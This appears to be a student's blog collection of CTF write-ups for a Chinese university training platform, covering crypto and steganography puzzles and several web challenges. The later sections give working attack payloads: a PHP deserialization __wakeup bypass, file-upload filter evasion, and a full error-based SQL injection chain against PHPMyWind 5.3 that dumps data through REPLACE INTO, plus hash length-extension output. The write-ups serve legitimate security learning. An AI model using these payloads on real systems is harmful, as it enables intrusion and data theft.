中国矿业大学CTF网络安全实训平台Writeup汇总

bay1

你的石锅拌饭

SGBF.png

打开链接还是原来的页面,仔细读那几句话,发现培根,而且这段话字体不同,
想到培根密码。百度查表可知flag。此题源于学校三食堂有名的石锅拌饭。。。。。

魂斗罗

打开链接是一个文件,分析可知是个游戏,用模拟器打开就是经典的魂斗罗,
提示是:上上下下左右左右,百度可知作弊代码就是这段话,下载金手指,选关即可通过。
PS:注意flag的形式,仔细看清楚再提交哦

cookies?

打开链接,显示让以管理员身份登录,在谷歌或者火狐浏览器中
F12,重新编辑消息头,修改user=admin
提交,响应为
cookies.png
在网址后添加k.jpg,得到一张大佬的图片
cookies1.png
丢进百度识图,可知维基利亚密码,对照表,有提示key:e,我就移动四位,得bpqaqaivwtlmvkzgxb
自信的去提交flag.....显示错误。顿时崩溃,,,看来手动解是解不出来了。
丢进凯撒密码,列出所有可能,flag一般是一句话,找出就得flag
cookies2.png
PS:凯撒密码是维基利亚密码的升级版(自我感觉)

我就想试试这个名字到底能够起多长

打开链接是一张图片

yinxie1.png

提示有说是常规隐写,所以直接丢进Stegsolve
点击左右键,发现Red plane 2,Red plane 1,Red plane 0三处变化较大,点击右上角进行数据分析
发现0处数据为PK开头,百度文件类型,可知为压缩包,改后缀.zip,解压得到一个文件,丢尽Winhex

yinxie1-0.png

搜索ctf得到flag

yinxie1-1.png

上传一

打开链接,是一个上传文件的页面,我就开始各种百度
有种方法说可以修改后缀,我就一直尝试各种加;jpg,.rar。最后才知道那是解析漏洞,需要针对特殊的事件
然后我就开始了一件很智障的事情,在F12中修改js源码,。。。。然而没什么卵用。
shangchuan1.png
当然没什么用,有没有修改服务器里的源码,也没有任何的响应。只能欺骗自己
最后询问后端组长之后,分析了js代码,知道check函数是全局变量,可以在控制台修改
操作成功,抱着组长大腿痛哭流涕,完全不懂前端,然后就可以上传可执行文件了。
shangchuan1-1.png

PS:JS定义全局变量有三种方式
直接定义全局变量

    var check=1;
    function check(){
    .....
    }

不用var,直接隐式定义

check=1;
function check(){
...
}

在控制台中直接输入window定义

window.check 
function check(){
....
}

<div align="center">我是分割线-补充于2017-03-13 23:30:17</div>

太菜了,也只能继续更新我天朝挖煤大学的题目了。。。。。
以下三道是组长帮助,所以就单独列出来了

备份

打开链接,显示1.bak,2.bak
我又试了试3.bak,5.bak都有内容显示,所以可以想到flag就在某个*.bak
一开始我并不会写python,之后学了点,在组长的指导下,自己写出来了这段代码
    ##coding:utf-8
    import requests
    for i in range(3,1000):
    t = requests.get('http://219.219.61.234/challenge/web/code/'+str(i)+'.bak')
    print (i)
    if 'flag' in t.text:
        print(t.text)
    else :
        continue
怎么说呢,这道题会写代码了,就很简单了。
直接贴代码,让它运行就好了。。。。。。吗?????
很不幸的是抛出了一大堆异常,连接服务器总是中断,那么问题来了:如何解决python的异常?
就是try...except...
    try:
        ##你要执行的但是可能出现异常的代码
    except (NameError,....):##错误类型
        ##出现了错误要做什么
    else:
        ##没错误要做什么
    finally:
        ##无论上方是否抛出异常,都会执行这句话
大概就是这三种
最后的代码是这样的,竟然flag是900多。。。。。
    ##coding:utf-8
    import requests
    def traverse():
        for i in range(0,1000):
            t = requests.get('http://219.219.61.234/challenge/web/code/'+str(i)+'.bak')
            if i%50 == 0:
                print (i)
            if 'flag' in t.text:
                print(t.text)
            else :
                continue
    try:
        traverse()
    finally:
        traverse()

colorSnake

打开链接,真的是一个贪吃蛇游戏,还是炫彩的。。orz
看到这道题第一次还是忍不住玩了一下,但是真的好难。。。。233333
随后先F12查看源码,一直没有头绪,最后也是在组长的和组内大佬讨论下,尝试了改分数,改food出现位置,,,,然而都没有用
最后,找到这段getScore代码,在控制台提交,分数变了。所以接下来直接调用JS计时器
    setInterval(function(){xhr('./getScore.php',function(e){
                var r = JSON.parse(e);
                if(r.state == 200)
                    game.addScore(r.score);
                else{
                    alert(r.msg);
                    game.start()
                }
            })},1000)

PS:JS计时器setInterval

    setInterval(function(){alert("Hello")},1000);
这里记录一下,对于这个计时器我也是鼓捣好久,已经让我怀疑不适合学计算机。。。。
setInterval(function(){这里面填写要执行的代码}),一开始我老是纠结第一个参数明明是函数代码,为什么
不能直接贴上函数代码,非要加个function,说实话,现在也是似懂非懂,可能还是没学过JS吧。。。
这里的参数function是一个函数名或者一个对匿名函数的引用

简单的示例,可以自行百度

自动获取flag程序

打开链接,是一个未完整的程序
那就很自然的F12查看源码,提示已经说了是要修改代码,下面是它给的源码
    // 请求参数一
    $("##a").click(function(){
        $.ajax({
            url:'param1.php',
            method:'get',
            dataType:'json',
            success:calParam2
        })
    });
    function calParam2(d){ // 获取参数d
        var data=JSON.parse((d.param));
        var length=data.length;
        var second=new Date().getSeconds();
        var sum=0;
        for (var i = 1; i < length; i++) {
            for (var j = 0; j < length/2; j++) {
                sum+=parseInt(data[i])*second + data[j];
            } // 应该是用for循环求出参数各个数值和
        }
    // 请求flag
    $.ajax({
        url:'http://new.pmcaff.com/aram2.php?param='+sum, // 这里url对着上面的url明显是错误的
        method:'get',
        dataType:'json',
        success:function(s){
            alert(s.f);
        },
        error:function(s){
            alert('错了');
        }
    })
    }
打开./param1.php,得到的是一堆url
{"param":
    "%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C
    %228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}
解码得到一个数组,那就对了,可以求和(JSON.parse的作用就是处理数据让他可以加和)
然后第二个url对照第一个改为:'param2.php?param='+sum,但是程序中直接得到的参数是编码的
所以在程序中加上解码语句d.param=unescape(d.param)
    function calParam2(d){
    d.param=unescape(d.param);
    var data=JSON.parse((d.param));
    var length=data.length;
    var second=new Date().getSeconds();
    var sum=0;
    for (var i = 1; i < length; i++) {
        for (var j = 0; j < length/2; j++) {
            sum+=parseInt(data[i])*second + data[j];
        }
    }

    // 请求flag
    $.ajax({
        url:'param2.php?param='+sum,
        method:'get',
        dataType:'json',
        success:function(s){
            alert(s.f);

        },
        error:function(s){
            alert('错了');
        }
    })
}
为什么要加上d.param而不是参数d呢?我没学过JS,但是看参数d的形式就是python字典,要解码的是字典里的后半部分
还有,就是我一开始在控制台输入之后,会一直弹出"呵呵呵呵",根据组长的解释是传递参数错误才会这样,这一段
是和时间参数有关系的,所以。。。。。。。根据我的实践,就是多点几次,,,,可能就是成功了。这是我的理解。
真正的理解还望指教

<div align="center">我是分割线-补充于2017-03-25 18:17:01</div>

233333333333orz,扶我起来,我还能水

萌萌哒

打开链接,和提示一样,显示的是一堆类似表情包
真的是萌萌哒啊。。。。。。
这一堆是什么东西。不知道 就百度 就谷歌呗,最后做出来才知道,是两种加密
第一种就是颜表情包解码点我进解码地址
解码得到下图结果

mengmengda

改地址进入,又是一堆只有八个操作符的东西,,,,,老方法,不知道,就百度呗
最后知道这是一种语言--><span style="color: red;">Brainfuck</span>
又是百度,各种姿势搜索,找到了解码地址点我
丢进去,转码得flag!
自己不会写工具就只能这样了,搜搜搜。

<div align="center">我是分割线-补充于2017-04-7</div>

听说你会面向对象

打开链接,看见链接我们就会知道是PHP反序列化漏洞
但是身为小白的我不会什么PHP啊,也不知道什么是反序列化,老办法-搜搜搜。。。。

什么是反序列化?

这问题就不赘述了,说了也是看的别人的,贴链接
这是介绍反序列化的点我
所以我们直接构造<span style="color: red;">data=O:5:"Admin":1:{s:4:"file";s:8:"flag.php";}</span>,但是。。。
ctf3-1.png

很明显是__wakeup()是它在搞事情,那么下面那我们要做的就是绕过它
经过搜搜搜搜,知道此函数的一个漏洞
<span style="color: red;">PHP当序列化字符串中表示对象属性数的值大于真实的属性个数时会跳过__wakeup()的执行</span>
ctf3-2

总体来说这道题还是比较基础和简单的,只是我太菜了,。。做了好长时间,不过也长了不少知识

上传二

首先要说一下几种上传验证手段:

 A: 客户端js校验(一般只校验后缀名)
 B: 服务端校验
   1.文件头content-type字段校验(image/gif)
   2.文件内容头校验(GIF89a)
   3.后缀名黑名单校验
   4.后缀名白名单校验
   5.自定义正则校验
 C: WAF设备校验(根据不同的WAF产品而定)

打开链接,和上传一地址一样
就是接着上传一开始做的,首先修改JS验证
然后用brup抓包,修改文件头content-type字段为:image/gif
重新发送即可

上传二

参考文章:点我


<div align="center">我是分割线-补充于2017-04-15 21:27:00</div>

最近平台多的一些学校入门赛的题目,就不写wp了,官方有了点我

听说这是一道签到题目

先贴一个链接,补充点姿势数据包分析for CTF
打开链接
很明显是一个抓取的数据包,用Wireshark打开,分析对话,在tcp流,发现异常对话

Wireshak-1

跟踪tcp流,发现flag信息

Wireshark-2

而且function.py 这里代码都给出来了

Wireshark-3

直接解原字符串是不能解的,所以需要先base64
具体操作如下,用给出的代码直接解就行了

Wireshark-4

学姐真美

PS:这也是入门赛的一道题,但是感觉涨了姿势,所以想记录下

orz,这个学姐真的美。。。。。
打开链接学姐真美
首先想到的就是隐写术,拖进winhex
看到文件前面这一大串00000000000000000000000很让人起疑心啊

1

直接搜索jpg结束符“FF D9”

2

结束符后边竟然还有东西,直接复制粘贴到HxD,随便找一张png图片对照修改文件头,保存打开

3

这里发现七牛云图不能上传带二维码的东西。。。。。

4

<span style="color: red;">WTF?/????</span>

发生了什么。。。一定是文件头没改对全部,接下来就是各种搜索了

5

就像图片显示的一样,找到长宽位置,发现 的确是不对称啊,修改之后再打开保存,嗯。。。。。可以了

白驹过隙

23333333333333333,虽然这道题只有十分,但是我一直没做出来。。。。。
打开链接白驹过隙,看到you have missed the flag
很容易想到的就是抓包。如果你仔细看的话应该会发现,<span style="color: red;">链接里面的defauIt是i的大写</span>。。。。(我是没看出来)
302回调,在浏览器直接修改还是会跳转的,所以掏出神器burp,抓包,修改链接,提交
响应里就是flag

PS:这是我遇到的。。。。。感觉。。。。最。。。。。。让我。。。。额。。。。后面的词可以联想。。。。

logic

这道题非常非常非常仔细看F12源码,就OK了
一个备份泄露,一个算是偏向社工的吧,仔细点

上传三

条件竞争,上传马的同时访问马
靠运气可以迅速得flag

phpmywind

已经给了版本是5.3,打开谷歌搜索相关漏洞
有个留言板储存型xss,和前台注入
题目中明示删除了后台,要直接从数据库中提取,这个版本xss需要后台触发
所以基本确定注入

函数

下面列取注入步緅(也是第一次很认真的做注入题目)

phpmywind

首先注入,但是查询没有回显,很烦,最后是插入到可直接访问的表段解决

漏洞函数

有个东西叫做报错盲注,全程在用,具体解释谷歌
select count(*),concat(你要查询的语句,floor(rand(0)*2))x from information_schema.tables group by x

一开始我在本地搭建了一下,源码子查询存在过滤,用char(@%27)绕过(别问我怎么知道的,小红跟我说的)

过滤

(改变以下代码中N的值,一个个爆,具体解释网上都有,这一串算种套路了)

获取基本信息

将你要的函数放在查询语句处
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

也可以这样一个个爆库

sql=select count(*),concat(char(@`%27`),(select SCHEMA_NAME from information_schema.SCHEMATA limit n,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

爆表

sql=select count(*),concat(char(@`%27`),(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA =16进制库名 limit 0,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

爆字段

sql=select count(*),concat(char(@`%27`),(select column_name from (select * from information_schema.columns where table_name=16进制表名 and table_schema=16进制库名 order by 1 limit 1,1)t limit 1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

显示flag

由于没有select回显,可以想法让他select之后插入到其他可以显示的表里
我插入到了pmw_info,具体表可以在源码看,方便点
sql=replace into pmw_info (`id`,`classid`,`mainid`,`picurl`,`content`,`posttime`) VALUES (3,3,1,char(@`%27`),(select flag from phpmyflag.flag ),char(@`%27`))

效果

md5

(这道题,,,就是密码题,手动解吧,等过段时间--2017.10.03)
模仿着写了一个类似源码的东西,不过还是提交不对
让我怀疑是不是题目挂了,不过也可能是我哪里没注意到
这里的16进制不知道后台源码处理了没有,我感觉我没读懂题目啊。。。。。
<?php
    $key = 'safwefdsfsacxwwl'; //16位salt
    $b=$_GET['a'];
    $k = md5($key.$b);
    echo $key.$b.'<br/>';
    echo $k.'<br/>';
    if($k ===$_GET['c']){
        print 'success</br>';
    }
    else{
        print 'fail</br>';
    }
?>

生成

以前写的一篇小结,哈希拓展攻击
网上也是大把的资源,可以自己搜
root@kali:~# hashpump
Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: 637972
Input Key Length: 16
Input Data to Add: 70
b186167e53b172a5d5f73d664b89e80c
637972\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x0070

利用

=====================================================
2019.4.12.....快两年了

➜  ~ hashpump
Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: cyr
Input Key Length: 16
Input Data to Add: 123
76a92684ba983f68ac991912b19720ab
cyr\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00123

明文需要是16进制就行了

阅读 8.1k

写文章主要目的是为了做一些小笔记,记录以及分享

195 声望
6 粉丝
0 条评论

写文章主要目的是为了做一些小笔记,记录以及分享

195 声望
6 粉丝
宣传栏